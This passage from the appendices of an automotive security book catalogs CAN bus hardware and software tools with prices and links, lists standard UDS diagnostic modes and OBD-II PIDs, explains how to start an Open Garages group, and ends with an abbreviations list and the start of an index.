supports	prebuilt	firmware	from	OpenXC,	but	you	can	also	write	your	own
firmware	for	it	and	do	raw	CAN.

http://cantact.io/


ELM327	Chipset
The	ELM327	chipset	is	by	far	the	cheapest	chipset	available	at	anywhere
(from	$13	to	$40),	and	it’s	used	in	most	cheap	OBD	device.	It	communicates
with	the	OBD	over	serial	and	comes	with	just	about	any	type	of	connector
you	can	think	of,	from	USB	to	Bluetooth,	Wi-Fi,	and	so	on.	You	can
connect	to	ELM327	devices	over	serial,	and	they’re	capable	of	sending
packets	other	than	OBD/UDS	packets.	For	a	full	list	of	commands	using	the
ELM327,	see	the	data	sheet	at
http://elmelectronics.com/DSheets/ELM327DS.pdf.

Unfortunately,	the	available	CAN	Linux	tools	won’t	run	on	the	ELM327,
but	Open	Garages	has	begun	a	web	initiative	that	includes	sniffing	drivers
for	the	ELM327	called	CANiBUS	(https://github.com/Hive13/CANiBUS/).
Be	forewarned	that	the	ELM327	has	limited	buffer	space,	so	you’ll	lose
packets	when	sniffing	and	transmission	can	be	a	bit	imprecise.	If	you’re	in	a
pinch,	however,	this	is	the	cheapest	route.

If	you’re	willing	to	open	the	device	and	solder	a	few	wires	to	your
ELM327,	you	can	reflash	the	firmware	and	convert	it	into	a	LAWICEL-
compatible	device,	which	allows	your	uber	cheap	ELM327	to	work	with
Linux	and	show	up	as	an	slcanX	device!	(You’ll	find	information	on	how	to
flash	your	ELM327	on	the	Area	515	makerspace	blog	from	Des	Moines,
Iowa,	at	https://area515.org/elm327-hacking/.)

GoodThopter	Board
Travis	Goodspeed,	a	well-known	hardware	hacker,	has	released	an	open
source,	low-cost	board	with	a	CAN	interface	called	the	GoodThopter.	The
GoodThopter,	based	on	his	popular	GoodFet	devices,	uses	MCP2515	and
communicates	over	serial	with	its	own	custom	interface.	You’ll	need	to
completely	assemble	and	solder	together	the	device	yourself,	but	doing	so
should	cost	just	a	few	dollars,	depending	on	the	parts	you	have	available	at
your	local	hackerspace.

ELM-USB	Interface
OBDTester.com	sells	a	commercial	ELM-32x-compatible	device	for	around
$60.	OBDTester.com	are	the	maintainers	of	the	PyOBD	library	(see
“Software”	on	page	246).

http://elmelectronics.com/DSheets/ELM327DS.pdf
https://github.com/Hive13/CANiBUS/
https://area515.org/elm327-hacking/


CAN232	and	CANUSB	Interface
LAWICEL	AB	produces	the	commercial	CAN	device	CAN232,	which
plugs	into	an	RS232	port	with	a	DB9	connector,	and	a	USB	version	called
CANUSB	(the	latter	goes	for	$110	to	$120).	Because	they’re	made	by	the
inventors	of	the	LAWICEL	protocol,	these	devices	are	guaranteed	to	work
with	the	can-utils	serial	link	modules.

VSCOM	Adapter
The	VSCOM	is	an	affordable	commercial	USB	CAN	module	from	Vision
Systems	(http://www.vscom.de/usb-to-can.htm)	that	uses	the	LAWICEL
protocol.	VSCOM	works	with	the	Linux	can-utils	over	serial	link	(slcan)
and	provides	good	results.	The	device	costs	around	$100	to	$130.

USB2CAN	Interface
The	USB2CAN	converter	from	8devices	(http://www.8devices.com/usb2can/)	is
the	cheapest	alternative	to	a	nonserial	CAN	interface.	This	small,
commercial	USB	device	will	show	up	as	a	standard	can0	device	in	Linux	and
has	the	most	integrated	support	in	this	price	range.	Most	devices	that	show
up	as	canX	raw	devices	are	PCI	cards	and	typically	cost	significantly	more
than	this	device.

EVTV	Due	Board
EVTV.me	(http://store.evtv.me/)	specializes	in	electric	car	conversions.	They
make	lots	of	great	tools	for	doing	crazy	things	to	your	historic	vehicle,	like
adding	a	Tesla	drivetrain	to	it.	One	of	their	tools	is	a	$100	open	source	CAN
sniffer	called	the	EVTV	Due,	which	is	basically	an	Arduino	Due	with	a
built-in	CAN	transceiver	and	handle-screw	terminals	to	interface	with	your
CAN	lines.	This	board	was	originally	written	to	work	solely	with	their
SavvyCAN	software,	which	uses	their	Generalized	Vehicle	Reverse
Engineering	Tool	(GVRET),	but	it	now	supports	SocketCAN	as	well.

CrossChasm	C5	Data	Logger
The	CrossChasm	C5	(http://www.crosschasm.com/technology/data-logging/)	is	a
commercial	device	that	supports	the	Ford	VI	firmware	and	costs	about	$120.
The	C5	supports	the	VI,	which	is	also	known	as	the	CAN	translator,	to

http://www.vscom.de/usb-to-can.htm
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convert	CAN	messages	to	the	OpenXC	format,	and	it	converts	some
proprietary	CAN	packets	into	a	generic	format	to	send	over	Bluetooth.

CANBus	Triple	Board
As	I	write	this,	the	CANBus	Triple	(http://canb.us/)	is	still	in	development.	It
uses	a	wiring	harness	designed	to	support	Mazda,	but	it	supports	three	CAN
buses	of	any	vehicle.

Higher-End	CAN	Devices
Higher-end	devices	will	cost	you	more	money,	but	they’re	capable	of
receiving	more	simultaneous	channels	and	offer	more	memory	to	help
prevent	packet	loss.	High-performance	tools	often	support	eight	channels	or
more,	but	unless	you’re	working	on	racing	vehicles,	you	probably	don’t	need
that	many	channels,	so	be	sure	that	you	need	devices	like	these	before
dropping	any	cash.

These	devices	often	come	with	their	own	proprietary	software	or	a
software	subscription	at	sometimes	significant	added	cost.	Make	sure	the
software	associated	with	the	device	you	choose	does	what	you	want	because
you’ll	usually	be	locked	into	their	API	and	preferred	hardware.	If	you	need
higher-end	devices	that	work	with	Linux,	try	Kvaser,	Peak,	or	EMS
Wünsche.	The	devices	from	these	companies	typically	use	the	sja1000
chipset	at	prices	starting	around	$400.

CAN	Bus	Y-Splitter
A	CAN	bus	Y-splitter	is	a	very	simple	device	that’s	basically	one	DLC
connector	broken	into	two	connectors,	which	allows	you	to	plug	a	device
into	one	port	and	a	CAN	sniffer	into	the	other.	These	typically	cost	around
$10	on	Amazon	and	are	actually	quite	simple	to	make	yourself.

HackRF	SDR
HackRF	is	an	SDR	from	Great	Scott	Gadgets
(https://greatscottgadgets.com/hackrf/).	This	open	source	hardware	project	can
receive	and	transmit	signals	from	10	MHz	to	6	GHz.	At	about	$330,	you
can’t	get	a	better	SDR	for	the	price.

http://canb.us/
https://greatscottgadgets.com/hackrf/


USRP	SDR
USRP	(http://www.ettus.com/)	is	a	professional,	modular	SDR	device	that	you
can	build	to	suit	your	needs.	USRP	is	open	source	to	varying	degrees	at
prices	ranging	from	$500	to	$2,000.

ChipWhisperer	Toolchain
NewAE	Technologies	produces	the	ChipWhisperer
(http://newae.com/chipwhisperer/).	As	discussed	in	“Side-Channel	Analysis	with
the	ChipWhisperer”	on	page	134,	the	ChipWhisperer	is	a	system	for	side-
channel	attacks,	such	as	power	analysis	and	clock	glitching.	Similar	systems
usually	cost	$30,000	or	more,	but	the	ChipWhisperer	is	an	open	source
system	that	costs	between	$1,000	and	$1,500.

Red	Pitaya	Board
Red	Pitaya	(http://redpitaya.com/)	is	an	open	source	measurements	tool	that
for	around	$500	replaces	expensive	measurement	tools	such	as	oscilloscopes,
signal	generators,	and	spectrum	analyzers.	Red	Pitaya	has	LabView	and
Matlab	interfaces,	and	you	can	write	your	own	tools	and	applications	for	it.
It	even	supports	extensions	for	things	like	Arduino	shields.

Software
As	we	did	with	hardware,	we’ll	focus	first	on	open	source	tools	and	then
cover	more	expensive	ones.

Wireshark
Wireshark	(https://www.wireshark.org/)	is	a	popular	network	sniffing	tool.	It
is	possible	to	use	Wireshark	on	a	CAN	bus	network	as	long	as	you	are
running	Linux	and	using	SocketCAN.	Wireshark	doesn’t	have	any	features
to	help	sort	or	decode	CAN	packets,	but	it	could	be	useful	in	a	pinch.

PyOBD	Module
PyOBD	(http://www.obdtester.com/pyobd)—also	known	as	PyOBD2	and
PyOBD-II—is	a	Python	module	that	communicates	with	ELM327	devices

http://www.ettus.com/
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(see	Figures	A-1	and	A-2).	It’s	based	on	the	PySerial	library	and	is	designed
to	give	you	information	on	your	OBD	setup	in	a	convenient	interface.	For	a
specific	scan	tool	fork	of	PyOBD,	see	Austin	Murphy’s	OBD2	ScanTool
(https://github.com/AustinMurphy/OBD2-Scantool/),	which	is	attempting	to
become	a	more	complete	open	source	solution	for	diagnostic
troubleshooting.

Figure	A-1:	PyOBD	running	diagnostic	tests

https://github.com/AustinMurphy/OBD2-Scantool/


Figure	A-2:	PyOBD	reading	sensor	data

Linux	Tools
Linux	supports	CAN	drivers	out	of	the	box,	and	SocketCAN	provides	a
simple	netlink	(network	card	interface)	experience	when	dealing	with	CAN.
You	can	use	its	can-utils	suite	for	a	command	line	implementation,	and	as
open	source	software,	it’s	easy	to	extend	functionality	to	other	utilities.	(See
Chapter	3	for	more	on	SocketCAN.)

CANiBUS	Server
CANiBUS	is	a	web	server	written	in	Go	by	Open	Garages	(see	Figure	A-3).
This	server	allows	a	room	full	of	researchers	to	simultaneously	work	on	the
same	vehicle,	whether	for	instructional	purposes	or	team	reversing	sessions.
The	Go	language	is	portable	to	any	operating	system,	but	you	may	have
issues	with	low-level	drivers	on	certain	platforms.	For	example,	even	if
you’re	running	CANiBUS	on	Linux,	you	won’t	be	able	to	directly	interact
with	SocketCAN	because	Go	doesn’t	support	the	necessary	socket	flags	to
initialize	the	CAN	interface.	(This	problem	could	be	addressed	by
implementing	socketcand,	but	as	of	this	writing,	that	feature	has	yet	to	be
implemented.)	CANiBUS	does	have	a	driver	for	ELM327	that	supports



generic	sniffing.	You	can	learn	more	about	CANiBUS	at
http://wiki.hive13.org/view/CANiBUS/	and	can	download	the	source	from
https://github.com/Hive13/CANiBUS/.

Figure	A-3:	CANiBUS	group-based	web	sniffer

Kayak
Kayak	(http://kayak.2codeornot2code.org/)	is	a	Java-based	GUI	for	analyzing
CAN	traffic.	It	has	several	advanced	features,	such	as	GPS	tracking	and
record	and	playback	capabilities.	It	utilizes	socketcand	in	order	to	work	on
other	operating	systems,	so	you’ll	need	at	least	one	Linux-based	sniffer	to
support	Kayak.	(You’ll	find	more	detail	on	setup	and	use	in	“Kayak”	on	page
46.)

SavvyCAN
SavvyCAN	is	a	tool	written	by	Collin	Kidder	of	EVTV.me	that	uses	another
framework	designed	by	EVTV.me,	GVRET,	to	talk	to	HW	sniffers	such	as
the	EVTV	Due.	SavvyCAN	is	an	open	source,	Qt	GUI–based	tool	that
works	on	multiple	operating	systems	(see	Figure	A-4).	It	includes	several
very	nice	features,	such	as	DBC	editor,	CAN	bus	graphing,	log	file	diffing,
several	reverse	engineering	tools,	and	all	the	normal	CAN	sniffing	features
you	would	expect.	SavvyCAN	doesn’t	talk	to	SocketCAN,	but	it	can	read	in
several	different	logfile	formats,	such	as	Bushmaster	logs,	Microchip	logs,
CRTD	formats,	and	generic	CSV-formatted	logfiles.

http://wiki.hive13.org/view/CANiBUS/
https://github.com/Hive13/CANiBUS/
http://kayak.2codeornot2code.org/


Figure	A-4:	SavvyCAN	GUI

O2OO	Data	Logger
O2OO	(http://www.vanheusden.com/O2OO/)	is	an	open	source	OBD-II	data
logger	that	works	with	ELM327	to	record	data	to	a	SQLite	database	for
graphing	purposes.	It	also	supports	reading	GPS	data	in	NMEA	format.

Caring	Caribou
Caring	Caribou	(https://github.com/CaringCaribou/caringcaribou/),	written	in
Python,	is	designed	to	be	the	Nmap	of	automotive	hacking.	As	of	this
writing,	it’s	still	in	its	infancy,	but	it	shows	a	lot	of	potential.	Caring	Caribou
has	some	unique	features,	like	the	ability	to	brute-force	diagnostic	services,

http://www.vanheusden.com/O2OO/
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and	handles	XCP.	It	also	has	your	standard	sniff-and-send	CAN
functionality	and	will	support	your	own	modules.

c0f	Fingerprinting	Tool
CAN	of	Fingers	(c0f)	is	an	open	source	tool	for	fingerprinting	CAN	bus
systems	that	can	be	found	at	https://github.com/zombieCraig/c0f/.	It	has	some
basic	support	for	identifying	patterns	in	a	CAN	bus	network	stream,	which
can	be	useful	when	trying	to	find	a	specific	signal	on	a	noisy	bus.	(See	“Using
c0f”	on	page	206	for	an	example	of	c0f	at	work.)

UDSim	ECU	Simulator
UDSim	(https://github.com/zombieCraig/UDSim/)	is	a	GUI	tool	that	can
monitor	a	CAN	bus	and	automatically	learn	the	devices	attached	to	it	by
watching	communications	(see	Figure	A-5).	It’s	designed	to	be	used	with
another	diagnostic	tool,	such	as	a	dealership	tool	or	a	scan	tool	from	a	local
automotive	store.

https://github.com/zombieCraig/c0f/
https://github.com/zombieCraig/UDSim/


Figure	A-5:	Sample	screen	from	UDSim	as	it	learns	modules	off	a	test
bench

UDSim	has	three	modes:	learning,	simulation,	and	attack.	In	learning
mode,	it	identifies	modules	that	respond	to	UDS	diagnostic	queries	and
monitors	the	responses.	In	simulation	mode,	it	simulates	a	vehicle	on	the
CAN	bus	to	fool	or	test	diagnostic	tools.	In	attack	mode,	it	creates	a	fuzzing
profile	for	tools	like	Peach	Fuzzer	(http://www.peachfuzzer.com/).

Octane	CAN	Bus	Sniffer
Octane	(http://octane.gmu.edu/)	is	an	open	source	CAN	bus	sniffer	and
injector	with	a	very	nice	interface	for	sending	and	receiving	CAN	packets,
including	an	XML	trigger	system.	Currently,	it	runs	only	on	Windows.

AVRDUDESS	GUI
AVRDUDESS	(http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/)	is	a
GUI	frontend	for	AVRDUDE	written	in	.NET,	though	it	works	fine	with
Mono	on	Linux.	You’ll	see	AVRDUDESS	in	action	in	“Prepping	Your	Test
with	AVRDUDESS”	on	page	139.

RomRaider	ECU	Tuner
RomRaider	(http://www.romraider.com/)	is	an	open	source	tuning	suite	for
the	Subaru	engine	control	unit	that	lets	you	view	and	log	data	and	tune	the
ECU	(see	Figure	A-6).	It’s	one	of	the	few	open	source	ECU	tuners,	and	it
can	handle	3D	views	and	live	data	logging.	You’ll	need	a	Tactrix	Open	Port
2.0	cable	and	Tactrix	EcuFlash	software	in	order	to	download	and	use	the
ECU’s	firmware.	Once	you’ve	downloaded	the	flash	with	EcuFlash,	you	can
edit	it	with	RomRaider.	The	editor	is	written	in	Java	and	currently	works	on
Windows	and	Linux,	though	EcuFlash	isn’t	supported	on	Linux.

http://www.peachfuzzer.com/
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Figure	A-6:	RomRaider	tuning	editor

Komodo	CAN	Bus	Sniffer
Komodo	is	a	higher-end	sniffer	with	a	nice	multioperating	system—Python
SDK.	It	costs	around	$350	to	$450	depending	on	whether	you	want	a	single-
or	dual-CAN	interface.	Komodo	has	isolation	capabilities	to	prevent	your
computer	from	frying	if	you	miswire	something,	as	well	as	eight	general-
purpose	IO	pins	you	can	configure	to	trigger	actions	from	external	devices.
Komodo	comes	with	some	decent	software	to	get	you	up	and	running,	but
the	real	advantage	is	that	you	can	write	your	own	Komodo	software.

Vehicle	Spy
Vehicle	Spy	is	a	commercial	tool	from	Intrepid	Control	Systems
(http://store.intrepidcs.com/)	that’s	specifically	designed	for	reversing	CAN	and
other	vehicle	communication	protocols.	The	software	requires	one	license
per	NeoVI	or	ValueCAN	device,	both	proprietary	devices	for	Vehicle	Spy.
The	ValueCAN3	is	the	cheapest	device	that	works	with	Vehicle	Spy.	It	has

http://store.intrepidcs.com/


one	CAN	interface	and	costs	about	$300.	Add	the	Vehicle	Spy	Basic
software	and	your	cost	will	be	about	$1,300.

The	NeoIV	devices	are	higher	end,	with	multiple	configurable	channels,
starting	at	around	$1,200.	A	basic	package	contains	a	NeoIV	(Red)	and
Vehicle	Spy	Basic	for	$2,000,	which	saves	a	bit	of	money.	Vehicle	Spy
Professional	costs	about	$2,600	without	hardware.	(You’ll	find	several
options	on	Intrepid’s	site.)

All	Intrepid	hardware	devices	support	uploading	scripts	to	run	on	the	bus
in	real	time.	Vehicle	Spy	Basic	supports	CAN/LIN	RX/TX	operations.
You’ll	need	the	professional	version	only	if	car	hacking	is	going	to	be	a	full-
time	project	for	you	or	if	you	want	to	use	ECU	flashing	or	other	advanced
features,	such	as	Node	Simulation,	scripting	on	the	sniffer,	or	memory
calibration.



B
DIAGNOSTIC	CODE	MODES	AND	PIDS

In	Chapter	4	we	looked	at	modes	and	parameter	IDs	in	diagnostic	codes.
This	appendix	lists	a	few	more	common	modes	and	interesting	PIDs	for
reference.

Modes	Above	0x10
Modes	above	0x10	are	proprietary	codes.	Here	are	some	common	modes
specified	by	the	ISO	14229	standard:	0x10	Initiates	diagnostics	0x11	Resets
the	ECU

0x14	Clears	diagnostic	codes	0x22	Reads	data	by	ID

0x23	Reads	memory	by	address	0x27	Security	access

0x2e	Writes	data	by	ID

0x34	Requests	download	0x35	Requests	upload

0x36	Transfers	data

0x37	Requests	transfer	exit	0x3d	Writes	memory	by	address	0x3e	Tester
present



Useful	PIDs
Some	interesting	PIDs	for	modes	0x01	and	0x02	include	the	following:	0x00
PIDs	supported	(0x01–0x20)	0x01	Monitor	the	status	of	the	MIL

0x05	Engine	coolant	temperature	0x0C	RPM

0x0D	Vehicle	speed

0x1C	OBD	standards	to	which	this	vehicle	conforms	0x1F	Run	time
since	vehicle	started	0x20	Additional	PIDs	supported	(0x21–0x40)	0x31
Distance	traveled	since	DTCs	cleared	0x40	Additional	PIDs	supported
(0x41–0x60)	0x4D	Time	run	with	MIL	on	0x60	Additional	PIDs
supported	(0x61–0x80)	0x80	Additional	PIDs	supported	(0x81–0xA0)
0xA0	Additional	PIDs	supported	(0xA1–0xC0)	0xC0	Additional	PIDs
supported	(0xC1–0xE0)	Some	vehicle	information	service	numbers	for
mode	0x09	include:	0x00	PIDs	supported	(0x01–0x20)	0x02	VIN

0x04	Calibration	ID

0x06	Calibration	verification	numbers	(CVN)	0x20	ECU	name

For	a	list	of	further	service	PIDs	to	query,	see
http://en.wikipedia.org/wiki/OBD-II_PIDs.

http://en.wikipedia.org/wiki/OBD-II_PIDs


C
CREATING	YOUR	OWN	OPEN	GARAGE

Open	Garages	is	a	collaboration	of	like-minded	individuals	interested	in
hacking	automotive	systems,	whether	through	performance	tuning,	artistic
modding,	or	security	research.	There	are	Open	Garages	groups	across	the
United	States	and	United	Kingdom,	and	anyone	can	start	or	join	one.	You
can,	of	course,	hack	cars	in	your	own	garage,	but	it’s	way	more	fun	and
productive	to	hack	multiple	projects	with	friends.	To	learn	more,	visit
http://www.opengarages.org/	for	details	on	groups	in	your	area,	join	the
mailing	list	to	receive	the	latest	announcements,	and	follow	Open	Garages
on	Twitter	@OpenGarages.

Filling	Out	the	Character	Sheet
If	there	isn’t	an	Open	Garages	group	in	your	area,	you	can	start	one!	I’ll
walk	you	through	how	to	build	your	own	group,	and	then	you	can	submit
the	Open	Garages	Character	Sheet	on	the	following	page	to
og@openGarages.org.

http://www.opengarages.org/
mailto:@OpenGarages
mailto:og@openGarages.org




The	character	sheet	has	a	few	different	sections.	The	square	in	the	upper
left	is	where	you	should	sketch	out	your	idea	for	a	garage.	You	can	sketch
anything	you	want:	a	layout	for	a	garage,	notes,	a	logo,	and	so	on.	You	can
either	come	up	with	a	name	for	your	space	now	or	wait	until	you	have	a	few
more	members	to	decide.	If	you’re	planning	to	host	your	meetings	out	of	an
existing	hackerspace,	you	may	want	to	just	use	that	space’s	name	or	some
variation	of	it.

When	to	Meet
Pick	a	set	date	to	meet.	Most	groups	meet	about	once	a	month,	but	you	can
make	your	meetings	as	frequent	as	you	like.	The	timing	of	your	meetings
may	depend	on	the	type	of	space	you	have	available	and	whether	you’re
sharing	it	with	anyone	else.

Check	the	box(es)	next	to	Public	Days	for	the	day(s)	you	want	to	be	open
to	the	public.	Under	the	checkboxes,	enter	your	Open	and	Close	times.	If
you	want	your	event	to	meet	less	often	than	weekly,	pick	which	week	of	the
month	you’ll	meet.	For	instance,	if	you	want	to	meet	on	the	first	Saturday	of
every	month	from	6	to	9	PM,	your	sheet	would	look	like	Figure	C-1.

Figure	C-1:	Scheduling	meetings	on	the	first	Saturday	of	each	month

Affiliations	and	Private	Memberships
If	you’re	working	with	another	group	or	hackerspace,	include	it	on	the	Space



Affiliation	line.	Then	decide	whether	you	want	to	offer	private	membership.
Your	Open	Garages	group	must	be	open	to	the	public	at	least	one	day	of	the
month,	but	you	can	offer	private	memberships	with	additional	perks,	like
access	to	the	space	for	extended	hours	or	access	to	special	equipment.	Private
membership	fees	can	help	pay	for	space	rental,	tools,	insurance,	and	various
other	costs	as	they	come	up.

If	you’re	affiliated	with	a	hackerspace,	this	section	can	be	filled	in	with
their	membership	cost	information.	Sometimes	it’s	easier	to	find	a	local
hackerspace	and	host	Open	Garages	meetings	from	their	location.	If	you
choose	to	go	that	route,	be	sure	to	support	whatever	rules	and	requirements
that	hackerspace	has,	and	try	to	promote	their	space	with	your
announcements.	Be	sure	to	list	the	cost	of	membership	and	how	often
payment	is	due,	which	is	typically	monthly	or	yearly.

Defining	Your	Meeting	Space
Under	the	garage	illustration	in	the	upper-left	corner	of	the	sheet	are	some
basic	questions	about	your	space.	You	don’t	need	to	have	immediate	access
to	a	vehicle	workshop	to	start	an	Open	Garages	group,	but	you	should	have
a	place	to	meet	to	discuss	projects	and	collaborate,	whether	that’s	your	home
garage,	a	hackerspace,	a	mechanics	shop,	or	even	a	coffee	shop.

Here’s	how	to	answer	the	questions	on	the	character	sheet:

Bays	The	number	of	vehicle	spaces	available,	if	any.	If	you’re	holding
your	meeting	in	a	two-car	home	garage,	you’d	enter	2	here.	If	you’re
meeting	in	a	coffee	shop	or	a	similar	space,	put	a	0.

Meeting	Space	Holds	Try	to	determine	how	many	people	can	fit	in
your	space.	If	you’re	meeting	in	a	coffee	shop,	note	how	many	people	you
think	can	feasibly	meet	at	one	time.	If	your	space	has	an	office	area,	figure
out	how	many	it	seats.	If	your	space	is	a	garage	or	a	parking	lot,	you	can
put	N/A.	You	can	also	note	disability	accessibility	here.

Restrooms	It’s	a	good	idea	to	make	beverages	available	during	Open
Garages	meetings,	so	you’ll	want	access	to	a	restroom.	Here,	you	can
enter	Yes	or	No	or	something	like	behind	the	shed.

Internet	Speed	If	your	space	is	a	coffee	shop	with	Wi-Fi	access	you	can
just	put	Wi-Fi,	though	if	you	know	what	your	Internet	speed	is,	it’s	useful



to	note	it	here.	If	you’re	in	a	garage	or	somewhere	without	Internet
access,	you	can	write	tether	or	N/A.

Parking	Note	here	where	members	can	park	and	whether	there	are
special	rules	for	parking	in	that	area.	You	should	also	note	whether	these
rules	vary	depending	on	the	time	of	day	or	whether	someone	is	a	private
member.

Contact	Information
The	box	to	the	right	of	the	space	description	is	where	you	should	note	all	of
your	contact	information	for	people	who	want	to	collaborate	and	organize
with	you.	Most	of	this	should	be	self-explanatory.	The	Signup	Site	section	is
required	only	if	you	take	private	membership	or	if	people	need	to	RSVP;
otherwise,	leave	this	blank	or	put	N/A.	The	Website	section	is	where	you
should	list	the	main	website	for	your	group.	If	you	don’t	have	a	site,	just	use
http://www.opengarages.org/.	You	can	list	your	IRC	room	or	Twitter	account
if	you	have	one.	List	anything	else	under	Other.

The	black	box	marked	Vehicle	Specialty	is	where	you	can	add
information	about	a	particular	vehicle	focus	of	your	group,	like	BMW	or
motorcycles.	You	could	also	use	this	space	to	limit	the	type	of	research	to	be
performed	in	the	space	if,	for	example,	you’re	interested	in	researching	only
performance	tuning.

Initial	Managing	Officers
To	kick	off	an	Open	Garages	group,	you	need	some	people	to	take
leadership	responsibility	to	ensure	it	begins	as	smoothly	as	possible.	The	first
person	on	this	list	should	be	you,	of	course!	If	you	can	get	a	few	other	friends
to	pitch	in	right	off	the	bat,	that’s	great.	If	not,	you	can	run	your	group	by
yourself	until	more	members	join.

The	primary	responsibility	of	the	managing	officers	is	to	ensure	that	the
space	is	opened	on	time	and	securely	closed	at	the	end.	If	you	plan	to	launch
a	full-blown	nonprofit	organization,	this	list	would	probably	consist	of	your
board	members.

Here’s	the	information	you	need	to	provide	on	your	managing	officers:

Name/Handle	Your	name	or	handle.	Whichever	you	choose	to	list,	it

http://www.opengarages.org/


should	match	your	contact	information.	For	example,	if	you	list	a	phone
number	with	your	handle	name,	be	prepared	to	answer	the	phone	that
way.

Contact	Info	You’re	in	charge,	and	people	will	need	to	contact	you,	so
please	list	your	email	address	or	phone	number.	If	you	send	your	sheet	to
http://www.opengarages.org/,	the	information	won’t	be	published	or	show
up	on	any	website.	The	contact	information	is	for	your	use	in	your	space.

Role	You	can	list	whatever	you	like	as	your	role,	whether	that’s	owner,
accountant,	mechanic,	hacker,	burner,	and	so	on.

Specialty	If	you	have	a	specialty,	like	if	you’re	an	Audi	mechanic	or	a
reverse	engineer,	include	it	here.

Equipment
Here’s	where	you	should	list	any	equipment	available	to	you	or	that	you	plan
to	have	available	at	the	space.	See	Appendix	A	for	recommendations	on
hardware	and	software	that	will	be	a	help	in	your	Open	Garages	group.
Some	tools	to	list	are	3D	printers,	MIG	welders,	lifts,	rollers,	scan	tools,	and
so	on.	There’s	no	need	to	list	small	things,	like	screwdrivers	and	butt
connectors.

If	certain	tools	are	expensive	or	require	training	before	they	can	be	used,
you	might	use	the	Membership	Level	space	to	denote	that	the	user	must	be	a
paid	member	to	access	these	tools.	You	can	also	use	the	Skill	Ranking	space
to	state	the	level	of	skill	or	training	needed	in	order	to	operate	a	particular
tool.

http://www.opengarages.org/


ABBREVIATIONS

ACM airbag	control	module

ACN automated	crash	notification	(systems)

AES Advanced	Encryption	Standard

AGL Automotive	Grade	Linux

ALSA Advanced	Linux	Sound	Architecture

AMB automotive	message	broker

ASD aftermarket	safety	device

ASIC application-specific	integrated	circuit

ASIL Automotive	Safety	Integrity	Level

ASK amplitude-shift	keying

AUD Advanced	User	Debugger

AVB Audio	Video	Bridging	standard

BCM body	control	module

BCM broadcast	manager	(service)

BGE Bus	Guardian	Enable

binutils GNU	Binary	Utilities

BMEP brake	mean	effective	pressure

c0f CAN	of	Fingers

CA certificate	authority

CAM cooperative	awareness	message

CAMP Crash	Avoidance	Metrics	Partnership

CAN controller	area	network



CANH CAN	high

CANL CAN	low

CARB California	Air	Resources	Board

CC CaringCaribou

CDR crash	data	retrieval

CKP crankshaft	position

COB-
ID

communication	object	identifier

CRL certificate	revocation	list

CVN calibration	verification	number

CVSS common	vulnerability	scoring	system

DENM decentralized	environmental	notification	message

DIP dual	in-line	package

DLC data	length	code

DLC diagnostic	link	connector

DLT diagnostic	log	and	trace

DoD Department	of	Defense

DREAD damage	potential,	reproducibility,	exploitability,	affected	users,
discoverability	(rating	system)

DSRC dedicated	short-range	communication

DTC diagnostic	trouble	code

DUT device	under	test

ECU electronic	control	unit	or	engine	control	unit

EDR event	data	recorder

ELLSI Ethernet	low-level	socket	interface

EOD end-of-data	(signal)



EOF end-of-frame	(signal)

ETSI European	Telecommunications	Standards	Institute

FIBEX Field	Bus	Exchange	Format

FPGA field-programmable	gate	array

FSA
PoC

fuel	stop	advisor	proof-of-concept

FSK frequency-shift	keying

GRC GNU	Radio	Companion

GSM Global	System	for	Mobile	Communications

HMI human–machine	interface

HS-
CAN

high-speed	CAN

HSI high-speed	synchronous	interface

IC instrument	cluster

ICSim instrument	cluster	simulator

IDE identifier	extension

IFR in-frame	response

IVI in-vehicle	infotainment	(system)

KES key	fob

LF low-frequency

LIN Local	Interconnect	Network

LNA low-noise	amplifier

LOP location	obscurer	proxy

LS-
CAN

low-speed	CAN

LTC long-term	certificate



MA misbehavior	authority

MAF mass	air	flow

MAP manifold	pressure

MCU microcontroller	unit

MIL malfunction	indicator	lamp

MOST Media	Oriented	Systems	Transport	(protocol)

MS-
CAN

mid-speed	CAN

MUL multiply	(instruction)

NAD node	address	for	diagnostics

NHTSANational	Highway	Traffic	Safety	Administration

NLFSR non-linear	feedback	shift	register

NOP no-operation	instruction

NSC node	startup	controller

NSM node	state	manager

OBE onboard	equipment

OEM original	equipment	manufacturer

OOK on-off	keying

OSI Open	Systems	Interconnection

PC pseudonym	certificate

PCA Pseudonym	Certificate	Authority

PCM powertrain	control	module

PID parameter	ID

PKES passive	keyless	entry	and	start

PKI public	key	infrastructure



POF plastic	optical	fiber

PRF pseudorandom	function

PRNG pseudorandom	number	generator

PWM pulse	width	modulation

QoS quality	of	service

RA Registration	Authority

RCM restraint	control	module

RFID radio-frequency	identification

ROS rollover	sensor	module

RPM revolutions	per	minute

RSE roadside	equipment

RTR remote	transmission	request

SCMS security	credentials	management	system

SDK software	development	kit

SDM sensing	and	diagnostic	module

SDR software-defined	radio

SIM subscriber	identity	module

SNS service	not	supported

SRR substitute	remote	request

SWD Serial	Wire	Debug

TCM transmission	control	module

TCU transmission	control	unit

TDMA time	division	multiple	access

TPMS tire	pressure	monitor	sensor

TREAD Transportation	Recall	Enhancement,	Accountability,	and



Documentation	(Act)

UDS Unified	Diagnostic	Services

UHF ultra-high-frequency

USRP Universal	Software	Radio	Peripheral

UTP unshielded	twisted-pair

V2I,
C2I

vehicle-to-infrastructure,	carto-infrastructure	(Europe)

V2V,
C2C

vehicle-to-vehicle,	car-to-car	(Europe)

V2X,
C2X

vehicle-to-anything,	car-to-anything	(Europe)

VAD vehicle	awareness	device

VDS Vehicle	Descriptor	Section

VI vehicle	interface

VII,	ITS vehicle	infrastructure	integration,	intelligent	transportation	system

VIN vehicle	identification	number

VM virtual	machine

VoIP voice	over	IP

VPW variable	pulse	width

VSC3 Vehicle	Safety	Consortium

WAVE wireless	access	for	vehicle	environments

WME WAVE	management	entity

WMI World	Manufacturer	Identifier

WSA WAVE	service	announcement

WSMP WAVE	short-message	protocol



INDEX

Numbers
802.11p	standard,	179–180,	184
8devices	USB2CAN	converter,	244
1609.x	standard,	179–180,	184

A
ACM	(airbag	control	module),	61
ACN	(automated	crash	notification)	systems,	64
Advanced	Linux	Sound	Architecture	(ALSA)	framework,	26
Advanced	User	Debugger	(AUD),	133–134
airbag	control	module	(ACM),	61
ALSA	(Advanced	Linux	Sound	Architecture)	framework,	26
amplified	relay	attacks,	PKES	systems,	220
amplitude-shift	keying	(ASK)	modulation,	210–211
analyze.exe	tool,	100
anonymous	certificates,	189
application-specific	integrated	circuits	(ASICs),	95
apps	(IVI	system),	163
arbitration	IDs

defined,	18
finding,	79–80
grouping	streamed	data,	70–71

Arduino	shields,	242
Armengaud,	Eric,	30
